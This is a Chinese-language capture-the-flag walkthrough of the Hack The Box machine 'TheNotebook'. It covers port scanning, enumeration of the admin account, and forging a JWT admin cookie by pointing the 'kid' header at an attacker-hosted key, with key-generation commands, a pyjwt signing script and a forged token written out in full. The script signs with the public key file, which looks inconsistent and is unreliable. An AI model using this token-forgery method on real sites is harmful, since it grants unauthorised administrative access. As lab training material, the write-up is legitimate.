Hackthebox - TheNotebook

靶场信息

靶场类型

信息搜集

首先使用nmap进行端口扫描

nmap -A -sS -sC -sV 10.10.10.230

我们可以看到，一共有三个端口22 80 10010，其中10010目前是关闭状态，所以咱们的突破口还是在80端口

进去后只有三个按钮 Home、Register、Login

Home就是主页，所以咱们先创建一个账号试试

注册了一个名为Lucifiel的账号，提示我们在/notes下可以查看到笔记，咱们先去看看

目前没有笔记，那就创建一个看看吧

嗯。。。暂时没什么可利用的，咱们来看看能不能找到管理员账号吧

先退出登录，然后登录的时候咱们测试一下

账号admin

提示密码错误

账号admin1

提示账户不存在

嗯。。。确定了admin账户存在，但是在使用top1000进行爆破后，并没有爆破出密码

漏洞利用

咱们登入刚才注册的Lucifiel账号，然后看看cookie

咱们可以看到auth下有三段base64的字段

咱们使用CyberChef进行解密，会发现第三段是乱码，咱们就解密前两段就好了

{“typ”:”JWT”,”alg”:”RS256”,”kid”:”http://localhost:7070/privKey.key"}

{“username”:”Lucifiel”,”email”:”Lucifiel@email.com“,”admin_cap”:false}

解密出来的内容，我们会发现，上面有一个JWT，我感觉这是突破口

https://jwt.io/introduction

直接搜索JWT 找到了一个官网并且有相关的介绍，我们发现JWT是一个JSON 网络令牌

JWT格式

headers.payload.signature

这就是咱们的突破口了，可算是找到了

漏洞利用

由于Headers和Payload是明文储存的，所以咱们先把这两项修改好

Headers = {“typ”:”JWT”,”alg”:”RS256”,”kid”:”http://10.10.14.184/privKey.key"}

Payload = {“username”:”Lucifiel”,”email”:”Lucifiel@email.com“,”admin_cap”:1}

但是这里的signature也就是密钥却是加密的，咱们无法修改也无法读取，怎么办呢？当然是Google啦

https://gist.github.com/ygotthilf/baa58da5c3dd1f69fae9

ssh-keygen -t rsa -b 2048 -m PEM -f privKey.key

Don’t add passphrase

openssl rsa -in privKey.key -pubout -outform PEM -out privKey.key.pub

cat privKey.key

cat privKey.key.pub

经过Google搜索JWT密钥的生成放式，咱们找到了所需的命令

kali里生成

这就是咱们要的密钥了

-—BEGIN PUBLIC KEY—–

MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnwiGXuFO1peifvmt2y08

U89mLgcwp+jxcXkp0/qURF2N9ZqnIYp/Jp6HuGJcqeeoJT/DprtAJsCs6hWJ2Fdq

nSPGs63Ig6OqGJQK/dH2vt6EzQaXqRmkCeN9jwTTPmMr5xklcCtmBAGq8h4NY5LN

PcB9GHudFyi8U/Ae2f/ED8koR/AyG1ZdC6SvMv3tjOmkJ5Cax+jbGJMtUGEj4Xfa

Na5kJxDSq8F4Z16/I+4IO7/cfQlVOMNZ09tvEjOAUxjaD8YkueIvyOHeIXhmEY7/

DF/Tkoh7fpRt+9AWEbASZi/p2m+DF9Ws/K8MyXqNjpWhLrRDpeVLuOLd33V2BQ2w

RwIDAQAB

-—END PUBLIC KEY—–

咱们将headers和payload和进行base64，并且保存为JWT需要的格式headers.payload.signature

eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6Imh0dHA6Ly8xMC4xMC4xNC4xODQvcHJpdktleS5rZXkifQ.eyJ1c2VybmFtZSI6Ikx1Y2lmaWVsIiwiZW1haWwiOiJMdWNpZmllbEBlbWFpbC5jb20iLCJhZG1pbl9jYXAiOjF9.Q0kirAQPuqVJLtkhAa0pkrB11Dy0-tDm-8H9b3HDja7VWPc4mIiupMYzUzxAZamlA1xnUA_x1Btx4N7lcc09GdXZ0o9Ma-q_j-mPu2V-iFJ5hoYSZdL91bjqGMxp-oJ38pSMW4ulJzssuiRa6wl_C-8n9P4i6T0gqvLQjRUr8ksaLoM1WvU4SRjRN6EH_oFY_P9rTGilC2Vt1uogZ0UZGikDmXRXy74rH_-Bvkx8JcFgLgM5D4xPa5ayKFJ-jF-0vazUB8oUeKMr5za1vCbJXSBSNSosQ1MhkacUkEMnOllWNgYilbZR9t1p05vUnaT7ntbsYbILxb6fk4hVU1LyYA

脚本：

import jwt

key = open(“privKey.key.pub”, ‘r’).read()

headers = {“typ”: “JWT”, “alg”: “RS256”, “kid”: “http://10.10.14.184/privKey.key"}

payload = {“username”: “Lucifiel”, “email”: “Lucifiel@email.com“, “admin_cap”: 1}

print(jwt.encode(payload, headers=headers, key=key, algorithm=’RS256’))

使用该脚本即可生成我们所需要的cookie

在咱们本地使用python3开启一个http服务器

python3 -m http.server 80

然后修改10.10.10.230靶场的cookie，然后刷新